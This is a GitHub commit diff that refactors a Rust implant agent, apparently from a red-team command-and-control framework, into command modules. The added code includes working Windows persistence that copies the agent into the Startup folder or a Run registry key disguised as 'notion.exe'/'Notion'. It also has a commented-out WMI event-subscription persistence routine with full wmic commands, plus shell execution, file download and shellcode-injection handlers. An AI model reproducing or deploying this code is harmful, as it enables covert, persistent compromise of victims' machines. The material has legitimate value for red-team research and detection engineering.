Skip to content

Commit

Permalink
Refactor commands to modules
Browse files Browse the repository at this point in the history
  • Loading branch information
mttaggart committed Feb 6, 2022
1 parent 046990a commit bf2fe49
Show file tree
Hide file tree
Showing 16 changed files with 190 additions and 599 deletions.
2 changes: 1 addition & 1 deletion agent/src/cmd/cd.rs
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ use std::env::set_current_dir;

/// Changes the directory using system tools
/// Rather than the shell
pub fn handle(s: String) -> Result<String, Box<dyn Error>> {
pub fn handle(s: &String) -> Result<String, Box<dyn Error>> {
let new_path = Path::new(s.trim());
match set_current_dir(new_path) {
Ok(_) => Ok(format!("Changed to {s}").to_string()),
Expand Down
2 changes: 1 addition & 1 deletion agent/src/cmd/download.rs
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ use std::io::copy;
use reqwest::Client;
use std::fs::File;

pub async fn handle(s: String) -> Result<String, Box<dyn Error>> {
pub async fn handle(s: &String) -> Result<String, Box<dyn Error>> {
let client = Client::new();
// Get args
let mut args = s.split(" ");
Expand Down
13 changes: 13 additions & 0 deletions agent/src/cmd/getprivs.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
use std::error::Error;

pub async fn handle() -> Result<String, Box<dyn Error>> {
// TODO: Implement Linux check
#[cfg(windows)] {
let is_admin = is_elevated::is_elevated();
println!("{}", is_admin);
Ok(String::from(format!("Admin Context: {is_admin}").to_string()))
}
#[cfg(not(windows))] {
Ok(String::from(format!("Under Construction!").to_string()))
}
}
4 changes: 2 additions & 2 deletions agent/src/cmd/inject.rs
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
use std::error::Error;
use std::env::current_dir;
#[cfg(windows)] use winapi::um::winnt::{PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE};

pub async fn handle(s: String) -> Result<String, Box<dyn Error>> {
pub async fn handle(s: &String) -> Result<String, Box<dyn Error>> {
#[cfg(windows)] {
// Input: url to shellcode -p pid
let mut args = s.split(" ");
Expand Down
323 changes: 45 additions & 278 deletions agent/src/cmd/mod.rs

Large diffs are not rendered by default.

94 changes: 94 additions & 0 deletions agent/src/cmd/persist.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
use std::error::Error;
use std::path::Path;
#[cfg(windows)] use winreg::{RegKey};
#[cfg(windows)] use winreg::enums::HKEY_CURRENT_USER;


pub async fn handle(s: &String) -> Result<String, Box<dyn Error>> {
// `persist [method] [args]`
#[cfg(windows)] {
match s.trim() {
"startup" => {
// Get user
if let Ok(v) = var("APPDATA") {
let mut persist_path: String = v;
persist_path.push_str(r"\Microsoft\Windows\Start Menu\Programs\Startup\notion.exe");
let exe_path = args().nth(0).unwrap();
println!("{exe_path}");
// let mut out_file = File::create(path).expect("Failed to create file");
match fs_copy(&exe_path, &persist_path) {
Ok(b) => { return Ok(format!("{b} bytes written to {persist_path}").to_string());},
Err(e) => { return Ok(e.to_string())}
}
} else {
return Ok("Couldn't get APPDATA location".to_string());
};
},
"registry" => {
if let Ok(v) = var("LOCALAPPDATA") {
let mut persist_path: String = v;
persist_path.push_str(r"\notion.exe");
let exe_path = args().nth(0).unwrap();
println!("{exe_path}");
// let mut out_file = File::create(path).expect("Failed to create file");
fs_copy(&exe_path, &persist_path)?;
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let path = Path::new(r"Software\Microsoft\Windows\CurrentVersion\Run");
let (key, disp) = hkcu.create_subkey(&path)?;
match disp {
REG_CREATED_NEW_KEY => println!("A new key has been created"),
REG_OPENED_EXISTING_KEY => println!("An existing key has been opened"),
};
key.set_value("Notion", &persist_path)?;
Ok("Persistence accomplished".to_string())
} else {
Ok("LOCALDATA undefined".to_string())
}
},
"wmic" => {
//Ref: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
//With special thanks to: https://github.com/trickster0/OffensiveRust
//OPSEC unsafe! Use with caution
// under construction
/*
if let Ok(v) = var("LOCALAPPDATA") {
let mut persist_path: String = v;
persist_path.push_str(r"\notion.exe");
let exe_path = args().nth(0).unwrap();
println!("{exe_path}");
// let mut out_file = File::create(path).expect("Failed to create file");
fs_copy(&exe_path, &persist_path)?;
// I basically hate this, but...
let args1 = r##"/c wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="Notion", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"##;
let args2 = format!(r##"/c wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="Notion", ExecutablePath="{persist_path}",CommandLineTemplate="{persist_path}"##);
let args3 = r##"/c wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"Notion\"", Consumer="CommandLineEventConsumer.Name=\"Notion\"""##;
let cmd1 = { Command::new("cmd")
.args([args1])
.output()
.expect("failed to execute process");
};
let cmd2 = { Command::new("cmd")
.args([args2])
.output()
.expect("failed to execute process");
};
let cmd3 = { Command::new("cmd")
.args([args3])
.output()
.expect("failed to execute process")
};
*/
Ok("Under Construction".to_string())

},
_ => Ok("That's not a persistence method!".to_string())
}
}
#[cfg(not(windows))] {
Ok("Not implemented yet!".to_string())
}
}
10 changes: 5 additions & 5 deletions agent/src/cmd/portscan.rs
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
// Ref: https://github.com/skerkour/kerkour.com/tree/main/2021/rust_fast_port_scanner
// TODO
use std::error::Error;

pub fn portscan() -> bool{
println!("Scanning!");
return true;
pub async fn handle(s: &String) -> Result<String, Box<dyn Error>> {
// Ref: https://github.com/skerkour/kerkour.com/tree/main/2021/rust_fast_port_scanner
// TODO
Ok("Not implemented yet!".to_string())
}
2 changes: 1 addition & 1 deletion agent/src/cmd/ps.rs
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
use std::error::Error;
use std::process::Command;

pub async fn handle(s: String) -> Result<String, Box<dyn Error>> {
pub async fn handle() -> Result<String, Box<dyn Error>> {
// This is a lame kludge because getting process data is tough, but at least
// it's ergonomic?
let output = if cfg!(target_os = "windows") {
Expand Down
2 changes: 1 addition & 1 deletion agent/src/cmd/pwd.rs
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
use std::error::Error;
use std::env::current_dir;

pub async fn handle(s: String) -> Result<String, Box<dyn Error>> {
pub async fn handle() -> Result<String, Box<dyn Error>> {
match current_dir() {
Ok(b) => Ok(String::from(b.to_str().unwrap())),
Err(e) => Ok(format!("{e}").to_string())
Expand Down
11 changes: 11 additions & 0 deletions agent/src/cmd/runas.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
use std::error::Error;

pub async fn handle(s: &String) -> Result<String, Box<dyn Error>> {
// TODO: Implement
#[cfg(windows)] {
return Ok(String::from("Under Construction!"))
}
#[cfg(not(windows))] {
return Ok(String::from("Runas only works on Windows!"))
}
}
6 changes: 4 additions & 2 deletions agent/src/cmd/save.rs
Original file line number Diff line number Diff line change
@@ -1,7 +1,9 @@
use std::error::Error;
use std::env::current_dir;
use std::fs::write;
use serde_json::to_string as json_to_string;
use crate::cmd::ConfigOptions;

pub async fn handle(s: String) -> Result<String, Box<dyn Error>> {
pub async fn handle(s: &String, config_options: &mut ConfigOptions) -> Result<String, Box<dyn Error>> {
if !s.is_empty() {
config_options.config_file_path = s.to_string();
}
Expand Down
2 changes: 1 addition & 1 deletion agent/src/cmd/shell.rs
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
use std::process::Command;
use std::error::Error;

pub fn handle(s: String) -> Result<String, Box<dyn Error>> {
pub async fn handle(s: &String) -> Result<String, Box<dyn Error>> {
let output = if cfg!(target_os = "windows") {
Command::new("cmd")
.arg("/c")
Expand Down
5 changes: 5 additions & 0 deletions agent/src/cmd/shutdown.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
use std::error::Error;

pub async fn handle() -> Result<String, Box<dyn Error>> {
Ok("Shutting down".to_string())
}
5 changes: 5 additions & 0 deletions agent/src/cmd/unknown.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
use std::error::Error;

pub async fn handle() -> Result<String, Box<dyn Error>> {
Ok("Unknown command type".to_string())
}
Loading

0 comments on commit bf2fe49

Please sign in to comment.